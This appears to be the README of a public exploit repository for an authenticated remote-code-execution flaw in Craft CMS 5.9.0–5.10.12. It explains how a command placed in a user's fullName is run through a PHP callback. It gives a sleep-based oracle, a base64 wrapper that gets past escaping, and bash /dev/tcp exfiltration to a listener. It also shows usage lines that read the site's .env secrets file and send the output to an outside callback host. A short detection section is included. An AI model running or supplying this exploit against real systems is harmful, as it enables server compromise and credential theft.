Independent public PoC for CVE-2026-79987 — Craft CMS 5.9.0–5.10.12 authenticated RCE. Patch-analysis n-day implementation, verified on vanilla lab. Advisory: GHSA-9c4j-cjw3-r3xx
Public PoC for CVE-2026-79987 (Craft CMS): a Control Panel user with only the accessCp permission can execute operating-system commands as the PHP web worker, via ElementSearchController::actionSearch() accepting criteria.with[*].when — Craft copies it into EagerLoadPlan::$when, and array_filter() invokes it as a PHP callback. Setting when=system and placing a command in the attacker's own fullName results in system((string)$currentUser).
Vulnerable range: 5.9.0 – 5.10.12 (typed ?Closure guard was dropped in 5.9 and restored in 5.10.13 — vendor advisory GHSA-9c4j-cjw3-r3xx). The vulnerability was found and disclosed by the original researcher credited in the vendor advisory; this repo is an independent n-day exploit implementation developed from patch analysis (diff 5.10.12 → 5.10.13). No public exploit existed at the time of publishing.
✅ Verified end-to-end on a vanilla Craft 5.10.12 lab (see PROOF.md): login → oracle → payload install → OS command output exfiltrated over raw TCP.
fullName, which the CP HTML-escapes. → The command is base64-wrapped and decoded by bash on the server.users/save-user, elements/save, JSON, …). → Phase A probes five save-variants and selects the working one with a time-based oracle: save fullName='sleep 6', trigger the vulnerable search, response time > 5 s means the field became executable. No guessing — the tool proves the write primitive before installing the payload.bash /dev/tcp — raw TCP, not HTTP. → The tool ships its own raw-TCP sink (a plain HTTP listener would receive nothing).python3 craft_rce.py --url http://target --user lowpriv --password 'P@ss' \
--callback 10.10.14.5:9999 'cat /var/www/craft/.env'
# python3 stdlib only — no dependencies
docker compose up -d # vanilla Craft 5.10.12 + MariaDB on :8080
# complete the setup wizard (driver mysql, host db, db user/pass from compose), then:
python3 craft_rce.py --url http://127.0.0.1:8080 --user admin --password '...' \
--callback <your-docker0-ip>:9999 'id'
accessCp (no admin, no user management) — per vendor advisory/dev/tcp exfil)accessCp alone is code execution on vulnerable builds.admin/actions/element-search/search requests containing criteria.with and unusual fullName values (base64 blobs, sleep N).For authorized security testing only. The CVE is publicly documented (NVD / vendor advisory); this is an independent implementation of the publicly described vulnerability.